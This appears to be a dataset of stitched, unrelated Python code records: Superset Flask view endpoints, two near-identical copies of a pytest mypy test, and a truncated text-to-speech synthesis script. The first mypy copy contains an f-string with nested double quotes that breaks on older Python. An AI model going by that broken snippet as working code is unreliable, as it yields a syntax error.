'dimensions': ['affiliate_id', 'campaign', 'first_seen']
}
"""
payload = request.get_json(force=True)
druid_config = payload["config"]
user_name = payload["user"]
cluster_name = payload["cluster"]
user = security_manager.find_user(username=user_name)
DruidDatasource = ConnectorRegistry.sources["druid"]
DruidCluster = DruidDatasource.cluster_class
if not user:
err_msg = __(
"Can't find User '%(name)s', please ask your admin " "to create one.",
name=user_name,
)
logging.error(err_msg)
return json_error_response(err_msg)
cluster = (
db.session.query(DruidCluster)
.filter_by(cluster_name=cluster_name)
.one_or_none()
)
if not cluster:
err_msg = __(
"Can't find DruidCluster with cluster_name = " "'%(name)s'",
name=cluster_name,
)
logging.error(err_msg)
return json_error_response(err_msg)
try:
DruidDatasource.sync_to_db_from_config(druid_config, user, cluster)
except Exception as e:
logging.exception(utils.error_msg_from_exception(e))
return json_error_response(utils.error_msg_from_exception(e))
return Response(status=201)
@has_access
@expose("/sqllab_viz/", methods=["POST"])
@event_logger.log_this
def sqllab_viz(self):
SqlaTable = ConnectorRegistry.sources["table"]
data = json.loads(request.form.get("data"))
table_name = data.get("datasourceName")
database_id = data.get("dbId")
table = (
db.session.query(SqlaTable)
.filter_by(database_id=database_id, table_name=table_name)
.one_or_none()
)
if not table:
table = SqlaTable(table_name=table_name, owners=[g.user])
table.database_id = database_id
table.schema = data.get("schema")
table.template_params = data.get("templateParams")
table.is_sqllab_view = True
q = ParsedQuery(data.get("sql"))
table.sql = q.stripped()
db.session.add(table)
cols = []
for config in data.get("columns"):
column_name = config.get("name")
SqlaTable = ConnectorRegistry.sources["table"]
TableColumn = SqlaTable.column_class
SqlMetric = SqlaTable.metric_class
col = TableColumn(
column_name=column_name,
filterable=True,
groupby=True,
is_dttm=config.get("is_date", False),
type=config.get("type", False),
)
cols.append(col)
table.columns = cols
table.metrics = [SqlMetric(metric_name="count", expression="count(*)")]
db.session.commit()
return json_success(json.dumps({"table_id": table.id}))
@has_access
@expose("/table/<database_id>/<table_name>/<schema>/")
@event_logger.log_this
def table(self, database_id, table_name, schema):
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
mydb = db.session.query(models.Database).filter_by(id=database_id).one()
payload_columns = []
indexes = []
primary_key = []
foreign_keys = []
try:
columns = mydb.get_columns(table_name, schema)
indexes = mydb.get_indexes(table_name, schema)
primary_key = mydb.get_pk_constraint(table_name, schema)
foreign_keys = mydb.get_foreign_keys(table_name, schema)
except Exception as e:
return json_error_response(utils.error_msg_from_exception(e))
keys = []
if primary_key and primary_key.get("constrained_columns"):
primary_key["column_names"] = primary_key.pop("constrained_columns")
primary_key["type"] = "pk"
keys += [primary_key]
for fk in foreign_keys:
fk["column_names"] = fk.pop("constrained_columns")
fk["type"] = "fk"
keys += foreign_keys
for idx in indexes:
idx["type"] = "index"
keys += indexes
for col in columns:
dtype = ""
try:
dtype = "{}".format(col["type"])
except Exception:
# sqla.types.JSON __str__ has a bug, so using __class__.
dtype = col["type"].__class__.__name__
pass
payload_columns.append(
{
"name": col["name"],
"type": dtype.split("(")[0] if "(" in dtype else dtype,
"longType": dtype,
"keys": [k for k in keys if col["name"] in k.get("column_names")],
}
)
tbl = {
"name": table_name,
"columns": payload_columns,
"selectStar": mydb.select_star(
table_name,
schema=schema,
show_cols=True,
indent=True,
cols=columns,
latest_partition=True,
),
"primaryKey": primary_key,
"foreignKeys": foreign_keys,
"indexes": keys,
}
return json_success(json.dumps(tbl))
@has_access
@expose("/extra_table_metadata/<database_id>/<table_name>/<schema>/")
@event_logger.log_this
def extra_table_metadata(self, database_id, table_name, schema):
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
mydb = db.session.query(models.Database).filter_by(id=database_id).one()
payload = mydb.db_engine_spec.extra_table_metadata(mydb, table_name, schema)
return json_success(json.dumps(payload))
@has_access
@expose("/select_star/<database_id>/<table_name>")
@expose("/select_star/<database_id>/<table_name>/<schema>")
@event_logger.log_this
def select_star(self, database_id, table_name, schema=None):
mydb = db.session.query(models.Database).get(database_id)
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
return json_success(
mydb.select_star(table_name, schema, latest_partition=True, show_cols=True)
)
@has_access_api
@expose("/estimate_query_cost/<database_id>/", methods=["POST"])
@expose("/estimate_query_cost/<database_id>/<schema>/", methods=["POST"])
@event_logger.log_this
def estimate_query_cost(self, database_id: int, schema: str = None) -> Response:
mydb = db.session.query(models.Database).get(database_id)
sql = json.loads(request.form.get("sql", '""'))
template_params = json.loads(request.form.get("templateParams") or "{}")
if template_params:
template_processor = get_template_processor(mydb)
sql = template_processor.process_template(sql, **template_params)
timeout = SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT
timeout_msg = f"The estimation exceeded the {timeout} seconds timeout."
try:
with utils.timeout(seconds=timeout, error_message=timeout_msg):
cost = mydb.db_engine_spec.estimate_query_cost(
mydb, schema, sql, utils.sources.get("sql_lab")
)
except SupersetTimeoutException as e:
logging.exception(e)
return json_error_response(timeout_msg)
except Exception as e:
return json_error_response(str(e))
spec = mydb.db_engine_spec
query_cost_formatters = get_feature_flags().get(
"QUERY_COST_FORMATTERS_BY_ENGINE", {}
)
query_cost_formatter = query_cost_formatters.get(
spec.engine, spec.query_cost_formatter
)
cost = query_cost_formatter(cost)
return json_success(json.dumps(cost))
@expose("/theme/")
def theme(self):
return self.render_template("superset/theme.html")
@has_access_api
@expose("/cached_key/<key>/")
@event_logger.log_this
def cached_key(self, key):
"""Returns a key from the cache"""
resp = cache.get(key)
if resp:
return resp
return "nope"
@has_access_api
@expose("/cache_key_exist/<key>/")
@event_logger.log_this
def cache_key_exist(self, key):
"""Returns if a key from cache exist"""
key_exist = True if cache.get(key) else False
status = 200 if key_exist else 404
return json_success(json.dumps({"key_exist": key_exist}), status=status)
@has_access_api
@expose("/results/<key>/")
@event_logger.log_this
def results(self, key):
return self.results_exec(key)
def results_exec(self, key: str):
"""Serves a key off of the results backend
It is possible to pass the `rows` query argument to limit the number
of rows returned.
"""
if not results_backend:
return json_error_response("Results backend isn't configured")
read_from_results_backend_start = now_as_float()
blob = results_backend.get(key)
stats_logger.timing(
"sqllab.query.results_backend_read",
now_as_float() - read_from_results_backend_start,
)
if not blob:
return json_error_response(
"Data could not be retrieved. " "You may want to re-run the query.",
status=410,
)
query = db.session.query(Query).filter_by(results_key=key).one_or_none()
if query is None:
return json_error_response(
"Data could not be retrieved. You may want to re-run the query.",
status=404,
)
rejected_tables = security_manager.rejected_tables(
query.sql, query.database, query.schema
)
if rejected_tables:
return json_error_response(
security_manager.get_table_access_error_msg(rejected_tables), status=403
)
payload = utils.zlib_decompress(blob, decode=not results_backend_use_msgpack)
obj: dict = _deserialize_results_payload(
payload, query, cast(bool, results_backend_use_msgpack)
)
if "rows" in request.args:
try:
rows = int(request.args["rows"])
except ValueError:
return json_error_response("Invalid `rows` argument", status=400)
obj = apply_display_max_row_limit(obj, rows)
return json_success(
json.dumps(obj, default=utils.json_iso_dttm_ser, ignore_nan=True)
)
@has_access_api
@expose("/stop_query/", methods=["POST"])
@event_logger.log_this
@backoff.on_exception(
backoff.constant,
Exception,
interval=1,
on_backoff=lambda details: db.session.rollback(),
on_giveup=lambda details: db.session.rollback(),
max_tries=5,
)
def stop_query(self):
client_id = request.form.get("client_id")
query = db.session.query(Query).filter_by(client_id=client_id).one()
if query.status in [
QueryStatus.FAILED,
QueryStatus.SUCCESS,
QueryStatus.TIMED_OUT,
]:
logging.error(
f"Query with client_id {client_id} could not be stopped: query already complete"
)
return self.json_response("OK")
query.status = QueryStatus.STOPPED
db.session.commit()
return self.json_response("OK")
@has_access_api
@expose("/validate_sql_json/", methods=["POST", "GET"])
@event_logger.log_this
def validate_sql_json(self):
"""Validates that arbitrary sql is acceptable for the given database.
Returns a list of error/warning annotations as json.
"""
sql = request.form.get("sql")
database_id = request.form.get("database_id")
schema = request.form.get("schema") or None
template_params = json.loads(request.form.get("templateParams") or "{}")
if len(template_params) > 0:
# TODO: factor the Database object out of template rendering
# or provide it as mydb so we can render template params
# without having to also persist a Query ORM object.
return json_error_response(
"SQL validation does not support template parameters", status=400
)
session = db.session()
mydb = session.query(models.Database).filter_by(id=database_id).one_or_none()
if not mydb:
return json_error_response(
"Database with id {} is missing.".format(database_id), status=400
)
spec = mydb.db_engine_spec
validators_by_engine = get_feature_flags().get("SQL_VALIDATORS_BY_ENGINE")
if not validators_by_engine or spec.engine not in validators_by_engine:
return json_error_response(
"no SQL validator is configured for {}".format(spec.engine), status=400
)
validator_name = validators_by_engine[spec.engine]
validator = get_validator_by_name(validator_name)
if not validator:
return json_error_response(
"No validator named {} found (configured for the {} engine)".format(
validator_name, spec.engine
)
)
try:
timeout = config["SQLLAB_VALIDATION_TIMEOUT"]
timeout_msg = f"The query exceeded the {timeout} seconds timeout."
with utils.timeout(seconds=timeout, error_message=timeout_msg):
errors = validator.validate(sql, schema, mydb)
payload = json.dumps(
[err.to_dict() for err in errors],
default=utils.pessimistic_json_iso_dttm_ser,
ignore_nan=True,
encoding=None,
)
return json_success(payload)
except Exception as e:
logging.exception(e)
msg = _(
f"{validator.name} was unable to check your query.\n"
"Please recheck your query.\n"
f"Exception: {e}"
)
# Return as a 400 if the database error message says we got a 4xx error
if re.search(r"([\W]|^)4\d{2}([\W]|$)", str(e)):
return json_error_response(f"{msg}", status=400)
else:
return json_error_response(f"{msg}")
def _sql_json_async(
self,
session: Session,
rendered_query: str,
query: Query,
expand_data: bool,
log_params: Optional[Dict[str, Any]] = None,
) -> str:
"""
Send SQL JSON query to celery workers
:param session: SQLAlchemy session object
:param rendered_query: the rendered query to perform by workers
:param query: The query (SQLAlchemy) object
:return: String JSON response
"""
logging.info(f"Query {query.id}: Running query on a Celery worker")
# Ignore the celery future object and the request may time out.
try:
sql_lab.get_sql_results.delay(
query.id,
rendered_query,
return_results=False,
store_results=not query.select_as_cta,
user_name=g.user.username if g.user else None,
start_time=now_as_float(),
expand_data=expand_data,
log_params=log_params,
)
except Exception as e:
logging.exception(f"Query {query.id}: {e}")
msg = _(
"Failed to start remote query on a worker. "
"Tell your administrator to verify the availability of "
"the message queue."
)
query.status = QueryStatus.FAILED
query.error_message = msg
session.commit()
return json_error_response("{}".format(msg))
resp = json_success(
json.dumps(
{"query": query.to_dict()},
default=utils.json_int_dttm_ser,
ignore_nan=True,
),
status=202,
)
session.commit()
return resp
def _sql_json_sync(
self,
session: Session,
rendered_query: str,
query: Query,
expand_data: bool,
log_params: Optional[Dict[str, Any]] = None,
) -> str:
"""
Execute SQL query (sql json)
:param rendered_query: The rendered query (included templates)
:param query: The query SQL (SQLAlchemy) object
:return: String JSON response
"""
try:
timeout = config["SQLLAB_TIMEOUT"]
timeout_msg = f"The query exceeded the {timeout} seconds timeout."
store_results = (
is_feature_enabled("SQLLAB_BACKEND_PERSISTENCE")
and not query.select_as_cta
)
with utils.timeout(seconds=timeout, error_message=timeout_msg):
# pylint: disable=no-value-for-parameter
data = sql_lab.get_sql_results(
query.id,
rendered_query,
return_results=True,
store_results=store_results,
user_name=g.user.username if g.user else None,
expand_data=expand_data,
log_params=log_params,
)
payload = json.dumps(
apply_display_max_row_limit(data),
default=utils.pessimistic_json_iso_dttm_ser,
ignore_nan=True,
encoding=None,
)
except Exception as e:
logging.exception(f"Query {query.id}: {e}")
return json_error_response(f"{{e}}")
if data.get("status") == QueryStatus.FAILED:
return json_error_response(payload=data)
return json_success(payload)
@has_access_api
@expose("/sql_json/", methods=["POST"])
@event_logger.log_this
def sql_json(self):
log_params = {
"user_agent": cast(Optional[str], request.headers.get("USER_AGENT"))
}
return self.sql_json_exec(request.json, log_params)
def sql_json_exec(
self, query_params: dict, log_params: Optional[Dict[str, Any]] = None
):
"""Runs arbitrary sql and returns data as json"""
# Collect Values
database_id: int = cast(int, query_params.get("database_id"))
schema: str = cast(str, query_params.get("schema"))
sql: str = cast(str, query_params.get("sql"))
try:
template_params: dict = json.loads(
query_params.get("templateParams") or "{}"
)
except json.JSONDecodeError:
logging.warning(
f"Invalid template parameter {query_params.get('templateParams')}"
" specified. Defaulting to empty dict"
)
template_params = {}
limit: int = query_params.get("queryLimit") or app.config["SQL_MAX_ROW"]
async_flag: bool = cast(bool, query_params.get("runAsync"))
if limit < 0:
logging.warning(
f"Invalid limit of {limit} specified. Defaulting to max limit."
)
limit = 0
select_as_cta: bool = cast(bool, query_params.get("select_as_cta"))
tmp_table_name: str = cast(str, query_params.get("tmp_table_name"))
client_id: str = cast(
str, query_params.get("client_id") or utils.shortid()[:10]
)
sql_editor_id: str = cast(str, query_params.get("sql_editor_id"))
tab_name: str = cast(str, query_params.get("tab"))
status: str = QueryStatus.PENDING if async_flag else QueryStatus.RUNNING
session = db.session()
mydb = session.query(models.Database).get(database_id)
if not mydb:
return json_error_response(f"Database with id {database_id} is missing.")
# Set tmp_table_name for CTA
if select_as_cta and mydb.force_ctas_schema:
tmp_table_name = f"{mydb.force_ctas_schema}.{tmp_table_name}"
# Save current query
query = Query(
database_id=database_id,
sql=sql,
schema=schema,
select_as_cta=select_as_cta,
start_time=now_as_float(),
tab_name=tab_name,
status=status,
sql_editor_id=sql_editor_id,
tmp_table_name=tmp_table_name,
user_id=g.user.get_id() if g.user else None,
client_id=client_id,
)
try:
session.add(query)
session.flush()
query_id = query.id
session.commit() # shouldn't be necessary
except SQLAlchemyError as e:
logging.error(f"Errors saving query details {e}")
session.rollback()
raise Exception(_("Query record was not created as expected."))
if not query_id:
raise Exception(_("Query record was not created as expected."))
logging.info(f"Triggering query_id: {query_id}")
rejected_tables = security_manager.rejected_tables(sql, mydb, schema)
if rejected_tables:
query.status = QueryStatus.FAILED
session.commit()
return json_error_response(
security_manager.get_table_access_error_msg(rejected_tables),
link=security_manager.get_table_access_link(rejected_tables),
status=403,
)
try:
template_processor = get_template_processor(
database=query.database, query=query
)
rendered_query = template_processor.process_template(
query.sql, **template_params
)
except Exception as e:
error_msg = utils.error_msg_from_exception(e)
return json_error_response(
f"Query {query_id}: Template rendering failed: {error_msg}"
)
# set LIMIT after template processing
limits = [mydb.db_engine_spec.get_limit_from_sql(rendered_query), limit]
query.limit = min(lim for lim in limits if lim is not None)
# Flag for whether or not to expand data
# (feature that will expand Presto row objects and arrays)
expand_data: bool = cast(
bool,
is_feature_enabled("PRESTO_EXPAND_DATA")
and query_params.get("expand_data"),
)
# Async request.
if async_flag:
return self._sql_json_async(
session, rendered_query, query, expand_data, log_params
)
# Sync request.
return self._sql_json_sync(
session, rendered_query, query, expand_data, log_params
)
@has_access
@expose("/csv/<client_id>")
@event_logger.log_this
def csv(self, client_id):
"""Download the query results as csv."""
logging.info("Exporting CSV file [{}]".format(client_id))
query = db.session.query(Query).filter_by(client_id=client_id).one()
rejected_tables = security_manager.rejected_tables(
query.sql, query.database, query.schema
)
if rejected_tables:
flash(security_manager.get_table_access_error_msg(rejected_tables))
return redirect("/")
blob = None
if results_backend and query.results_key:
logging.info(
"Fetching CSV from results backend " "[{}]".format(query.results_key)
)
blob = results_backend.get(query.results_key)
if blob:
logging.info("Decompressing")
payload = utils.zlib_decompress(
blob, decode=not results_backend_use_msgpack
)
obj = _deserialize_results_payload(
payload, query, results_backend_use_msgpack
)
columns = [c["name"] for c in obj["columns"]]
df = pd.DataFrame.from_records(obj["data"], columns=columns)
logging.info("Using pandas to convert to CSV")
csv = df.to_csv(index=False, **config["CSV_EXPORT"])
else:
logging.info("Running a query to turn into CSV")
sql = query.select_sql or query.executed_sql
df = query.database.get_df(sql, query.schema)
# TODO(bkyryliuk): add compression=gzip for big files.
csv = df.to_csv(index=False, **config["CSV_EXPORT"])
response = Response(csv, mimetype="text/csv")
response.headers[
"Content-Disposition"
] = f"attachment; filename={query.name}.csv"
event_info = {
"event_type": "data_export",
"client_id": client_id,
"row_count": len(df.index),
"database": query.database.name,
"schema": query.schema,
"sql": query.sql,
"exported_format": "csv",
}
logging.info(
f"CSV exported: {repr(event_info)}", extra={"superset_event": event_info}
)
return response
@api
@handle_api_exception
@has_access
@expose("/fetch_datasource_metadata")
@event_logger.log_this
def fetch_datasource_metadata(self):
datasource_id, datasource_type = request.args.get("datasourceKey").split("__")
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
# Check if datasource exists
if not datasource:
return json_error_response(DATASOURCE_MISSING_ERR)
# Check permission for datasource
security_manager.assert_datasource_permission(datasource)
return json_success(json.dumps(datasource.data))
@has_access_api
@expose("/queries/<last_updated_ms>")
def queries(self, last_updated_ms):
"""
Get the updated queries.
:param last_updated_ms: unix time, milliseconds
"""
last_updated_ms_int = int(float(last_updated_ms)) if last_updated_ms else 0
return self.queries_exec(last_updated_ms_int)
def queries_exec(self, last_updated_ms_int: int):
stats_logger.incr("queries")
if not g.user.get_id():
return json_error_response(
"Please login to access the queries.", status=403
)
# UTC date time, same that is stored in the DB.
last_updated_dt = utils.EPOCH + timedelta(seconds=last_updated_ms_int / 1000)
sql_queries = (
db.session.query(Query)
.filter(
Query.user_id == g.user.get_id(), Query.changed_on >= last_updated_dt
)
.all()
)
dict_queries = {q.client_id: q.to_dict() for q in sql_queries}
return json_success(json.dumps(dict_queries, default=utils.json_int_dttm_ser))
@has_access
@expose("/search_queries")
@event_logger.log_this
def search_queries(self) -> Response:
"""
Search for previously run sqllab queries. Used for Sqllab Query Search
page /superset/sqllab#search.
Custom permission can_only_search_queries_owned restricts queries
to only queries run by current user.
:returns: Response with list of sql query dicts
"""
query = db.session.query(Query)
if security_manager.can_only_access_owned_queries():
search_user_id = g.user.get_user_id()
else:
search_user_id = request.args.get("user_id")
database_id = request.args.get("database_id")
search_text = request.args.get("search_text")
status = request.args.get("status")
# From and To time stamp should be Epoch timestamp in seconds
from_time = request.args.get("from")
to_time = request.args.get("to")
if search_user_id:
# Filter on user_id
query = query.filter(Query.user_id == search_user_id)
if database_id:
# Filter on db Id
query = query.filter(Query.database_id == database_id)
if status:
# Filter on status
query = query.filter(Query.status == status)
if search_text:
# Filter on search text
query = query.filter(Query.sql.like("%{}%".format(search_text)))
if from_time:
query = query.filter(Query.start_time > int(from_time))
if to_time:
query = query.filter(Query.start_time < int(to_time))
query_limit = config["QUERY_SEARCH_LIMIT"]
sql_queries = query.order_by(Query.start_time.asc()).limit(query_limit).all()
dict_queries = [q.to_dict() for q in sql_queries]
return Response(
json.dumps(dict_queries, default=utils.json_int_dttm_ser),
status=200,
mimetype="application/json",
)
@app.errorhandler(500)
def show_traceback(self):
return (
render_template("superset/traceback.html", error_msg=get_error_msg()),
500,
)
@expose("/welcome")
def welcome(self):
"""Personalized welcome page"""
if not g.user or not g.user.get_id():
return redirect(appbuilder.get_url_for_login)
welcome_dashboard_id = (
db.session.query(UserAttribute.welcome_dashboard_id)
.filter_by(user_id=g.user.get_id())
.scalar()
)
if welcome_dashboard_id:
return self.dashboard(str(welcome_dashboard_id))
payload = {
"user": bootstrap_user_data(g.user),
"common": common_bootstrap_payload(),
}
return self.render_template(
"superset/welcome.html",
entry="welcome",
bootstrap_data=json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
),
)
@has_access
@expose("/profile/<username>/")
def profile(self, username):
"""User profile page"""
if not username and g.user:
username = g.user.username
user = (
db.session.query(ab_models.User).filter_by(username=username).one_or_none()
)
if not user:
abort(404, description=f"User: {username} does not exist.")
payload = {
"user": bootstrap_user_data(user, include_perms=True),
"common": common_bootstrap_payload(),
}
return self.render_template(
"superset/basic.html",
title=_("%(user)s's profile", user=username),
entry="profile",
bootstrap_data=json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
),
)
@staticmethod
def _get_sqllab_payload(user_id: int) -> Dict[str, Any]:
# send list of tab state ids
tabs_state = (
db.session.query(TabState.id, TabState.label)
.filter_by(user_id=user_id)
.all()
)
tab_state_ids = [tab_state[0] for tab_state in tabs_state]
# return first active tab, or fallback to another one if no tab is active
active_tab = (
db.session.query(TabState)
.filter_by(user_id=user_id)
.order_by(TabState.active.desc())
.first()
)
databases: Dict[int, Any] = {}
queries: Dict[str, Any] = {}
# These are unnecessary if sqllab backend persistence is disabled
if is_feature_enabled("SQLLAB_BACKEND_PERSISTENCE"):
databases = {
database.id: {
k: v for k, v in database.to_json().items() if k in DATABASE_KEYS
}
for database in db.session.query(models.Database).all()
}
# return all user queries associated with existing SQL editors
user_queries = (
db.session.query(Query)
.filter_by(user_id=user_id)
.filter(Query.sql_editor_id.cast(Integer).in_(tab_state_ids))
.all()
)
queries = {
query.client_id: {k: v for k, v in query.to_dict().items()}
for query in user_queries
}
return {
"defaultDbId": config["SQLLAB_DEFAULT_DBID"],
"common": common_bootstrap_payload(),
"tab_state_ids": tabs_state,
"active_tab": active_tab.to_dict() if active_tab else None,
"databases": databases,
"queries": queries,
}
@has_access
@expose("/sqllab")
def sqllab(self):
"""SQL Editor"""
payload = self._get_sqllab_payload(g.user.get_id())
bootstrap_data = json.dumps(
payload, default=utils.pessimistic_json_iso_dttm_ser
)
return self.render_template(
"superset/basic.html", entry="sqllab", bootstrap_data=bootstrap_data
)
@api
@handle_api_exception
@has_access_api
@expose("/slice_query/<slice_id>/")
def slice_query(self, slice_id):
"""
This method exposes an API endpoint to
get the database query string for this slice
"""
viz_obj = get_viz(slice_id)
security_manager.assert_viz_permission(viz_obj)
return self.get_query_string_response(viz_obj)
@api
@has_access_api
@expose("/schemas_access_for_csv_upload")
def schemas_access_for_csv_upload(self):
"""
This method exposes an API endpoint to
get the schema access control settings for csv upload in this database
"""
if not request.args.get("db_id"):
return json_error_response("No database is allowed for your csv upload")
db_id = int(request.args.get("db_id"))
database = db.session.query(models.Database).filter_by(id=db_id).one()
try:
schemas_allowed = database.get_schema_access_for_csv_upload()
if (
security_manager.database_access(database)
or security_manager.all_datasource_access()
):
return self.json_response(schemas_allowed)
# the list schemas_allowed should not be empty here
# and the list schemas_allowed_processed returned from security_manager
# should not be empty either,
# otherwise the database should have been filtered out
# in CsvToDatabaseForm
schemas_allowed_processed = security_manager.schemas_accessible_by_user(
database, schemas_allowed, False
)
return self.json_response(schemas_allowed_processed)
except Exception:
return json_error_response(
"Failed to fetch schemas allowed for csv upload in this database! "
"Please contact your Superset Admin!",
stacktrace=utils.get_stacktrace(),
)
class CssTemplateModelView(SupersetModelView, DeleteMixin):
datamodel = SQLAInterface(models.CssTemplate)
include_route_methods = RouteMethod.CRUD_SET
list_title = _("CSS Templates")
show_title = _("Show CSS Template")
add_title = _("Add CSS Template")
edit_title = _("Edit CSS Template")
list_columns = ["template_name"]
edit_columns = ["template_name", "css"]
add_columns = edit_columns
label_columns = {"template_name": _("Template Name")}
class CssTemplateAsyncModelView(CssTemplateModelView):
include_route_methods = {RouteMethod.API_READ}
list_columns = ["template_name", "css"]
@app.after_request
def apply_http_headers(response: Response):
"""Applies the configuration's http headers to all responses"""
# HTTP_HEADERS is deprecated, this provides backwards compatibility
response.headers.extend(
{**config["OVERRIDE_HTTP_HEADERS"], **config["HTTP_HEADERS"]}
)
for k, v in config["DEFAULT_HTTP_HEADERS"].items():
if k not in response.headers:
response.headers[k] = v
return response
|
import importlib
import os
import re
from pathlib import Path
import pytest
from mypy import api as mypy_api
# This ensures mypy can find the test files, no matter where tests are run from:
os.chdir(Path(__file__).parent.parent.parent)
cases = (
("mypy.ini", "success.py", "success.txt"),
("mypy.ini", "fail.py", "fail.txt"),
)
executable_modules = ("success",)
@pytest.mark.skipif(
"sys.version_info > (3, 8)", reason="Mypy doesn't yet support Python 3.9."
)
@pytest.mark.parametrize("config_filename,python_filename,output_filename", cases)
def test_mypy_results(config_filename, python_filename, output_filename):
full_config_filename = f"tests/mypy/config/{config_filename}"
full_filename = f"tests/mypy/module/{python_filename}"
output_path = (
None
if output_filename is None
else Path(f"tests/mypy/output/{output_filename}")
)
# Specifying a different cache dir for each configuration dramatically speeds up
# subsequent execution.
# It also prevents cache-invalidation-related bugs in the tests
cache_dir = f".mypy_cache/test-{config_filename[:-4]}"
command = [
full_filename,
"--config-file",
full_config_filename,
"--cache-dir",
cache_dir,
"--show-error-codes",
]
print(
f"\nExecuting: mypy {" ".join(command)}"
) # makes it easier to debug as necessary
actual_result = mypy_api.run(command)
actual_out, actual_err, actual_returncode = actual_result
# Need to strip filenames due to differences in formatting by OS
actual_out = "\n".join(
[".py:".join(line.split(".py:")[1:]) for line in actual_out.split("\n") if line]
).strip()
actual_out = re.sub(r"\n\s*\n", r"\n", actual_out)
if actual_out:
print(
"{0}\n{1:^100}\n{0}\n{2}\n{0}".format("=" * 100, "mypy output", actual_out)
)
assert actual_err == ""
expected_returncode = 0 if "success" in output_filename else 1
assert actual_returncode == expected_returncode
if output_path and not output_path.exists():
output_path.write_text(actual_out)
raise RuntimeError(
f"wrote actual output to {output_path} since file did not exist"
)
expected_out = Path(output_path).read_text() if output_path else ""
assert actual_out.rstrip() == expected_out.rstrip(), actual_out
@pytest.mark.parametrize("module", executable_modules)
def test_success_cases_run(module):
"""
Ensure the "success" files can actually be executed
"""
importlib.import_module(f"tests.mypy.module.{module}")
| import importlib
import os
import re
from pathlib import Path
import pytest
from mypy import api as mypy_api
# This ensures mypy can find the test files, no matter where tests are run from:
os.chdir(Path(__file__).parent.parent.parent)
cases = (
("mypy.ini", "success.py", "success.txt"),
("mypy.ini", "fail.py", "fail.txt"),
)
executable_modules = ("success",)
@pytest.mark.skipif(
"sys.version_info > (3, 8)", reason="Mypy doesn't yet support Python 3.9."
)
@pytest.mark.parametrize("config_filename,python_filename,output_filename", cases)
def test_mypy_results(config_filename, python_filename, output_filename):
full_config_filename = f"tests/mypy/config/{config_filename}"
full_filename = f"tests/mypy/module/{python_filename}"
output_path = (
None
if output_filename is None
else Path(f"tests/mypy/output/{output_filename}")
)
# Specifying a different cache dir for each configuration dramatically speeds up
# subsequent execution.
# It also prevents cache-invalidation-related bugs in the tests
cache_dir = f".mypy_cache/test-{config_filename[:-4]}"
command = [
full_filename,
"--config-file",
full_config_filename,
"--cache-dir",
cache_dir,
"--show-error-codes",
]
print(
f"\nExecuting: mypy {' '.join(command)}"
) # makes it easier to debug as necessary
actual_result = mypy_api.run(command)
actual_out, actual_err, actual_returncode = actual_result
# Need to strip filenames due to differences in formatting by OS
actual_out = "\n".join(
[".py:".join(line.split(".py:")[1:]) for line in actual_out.split("\n") if line]
).strip()
actual_out = re.sub(r"\n\s*\n", r"\n", actual_out)
if actual_out:
print(
"{0}\n{1:^100}\n{0}\n{2}\n{0}".format("=" * 100, "mypy output", actual_out)
)
assert actual_err == ""
expected_returncode = 0 if "success" in output_filename else 1
assert actual_returncode == expected_returncode
if output_path and not output_path.exists():
output_path.write_text(actual_out)
raise RuntimeError(
f"wrote actual output to {output_path} since file did not exist"
)
expected_out = Path(output_path).read_text() if output_path else ""
assert actual_out.rstrip() == expected_out.rstrip(), actual_out
@pytest.mark.parametrize("module", executable_modules)
def test_success_cases_run(module):
"""
Ensure the "success" files can actually be executed
"""
importlib.import_module(f"tests.mypy.module.{module}")
|
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : train-duration.py
@Date : 2021/01/05, Tue
@Author : Atomicoo
@Version : 1.0
@Contact : atomicoo95@gmail.com
@License : (C)Copyright 2020-2021, ShiGroup-NLP-XMU
@Desc : Synthetize sentences into speech.
'''
__author__ = 'Atomicoo'
import argparse
import os
import os.path as osp
import time
from scipy.io.wavfile import write
import torch
from utils.hparams import HParam
from utils.transform import StandardNorm
from helpers.synthesizer import Synthesizer
import vocoder.models
from vocoder.layers import PQMF
from utils.audio import dynamic_range_decompression
from datasets.dataset import TextProcessor
from models import ParallelText2Mel
from utils.utils import select_device, get_last_chkpt_path
try:
from helpers.manager import GPUManager
except ImportError as err:
print(err); gm = None
else:
gm = GPUManager()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--batch_size", default=8, type=int, help="Batch size")
parser.add_argument("--checkpoint", default=None, type=str, help="Checkpoint file path")
parser.add_argument("--melgan_checkpoint", default=None, type=str, help="Checkpoint file path of melgan")
parser.add_argument("--input_texts", default=None, type=str, help="Input text file path")
parser.add_argument("--outputs_dir", default=None, type=str, help="Output wave file directory")
parser.add_argument("--device", default=None, help="cuda device or cpu")
parser.add_argument("--name", default="parallel", type=str, help="Append to logdir name")
parser.add_argument("--config", default=None, type=str, help="Config file path")
args = parser.parse_args()
if torch.cuda.is_available():
index = args.device if args.device else str(0 if gm is None else gm.auto_choice())
else:
index = 'cpu'
device = select_device(index)
hparams = HParam(args.config) \
if args.config else HParam(osp.join(osp.abspath(os.getcwd()), "config", "default.yaml"))
logdir = osp.join(hparams.trainer.logdir, f"%s-%s" % (hparams.data.dataset, args.name))
checkpoint = args.checkpoint or get_last_chkpt_path(logdir)
normalizer = StandardNorm(hparams.audio.spec_mean, hparams.audio.spec_std)
processor = TextProcessor(hparams.text)
text2mel = ParallelText2Mel(hparams.parallel)
text2mel.eval()
synthesizer = Synthesizer(
model=text2mel,
checkpoint=checkpoint,
processor=processor,
normalizer=normalizer,
device=device
)
print('Synthesizing...')
since = time.time()
text_file = args.input_texts or hparams.synthesizer.inputs_file_path
with open(text_file, 'r', encoding='utf-8') as fr:
texts = fr.read().strip().split('\n')
melspecs = synthesizer.inference(texts)
print(f"Inference {len(texts)} spectrograms, total elapsed {time.time()-since:.3f}s. Done.")
vocoder_checkpoint = args.melgan_checkpoint or \
osp.join(hparams.trainer.logdir, f"{hparams.data.dataset}-melgan", hparams.melgan.checkpoint)
ckpt = torch.load(vocoder_checkpoint, map_location=device)
# Ref: https://github.com/kan-bayashi/ParallelWaveGAN/issues/169
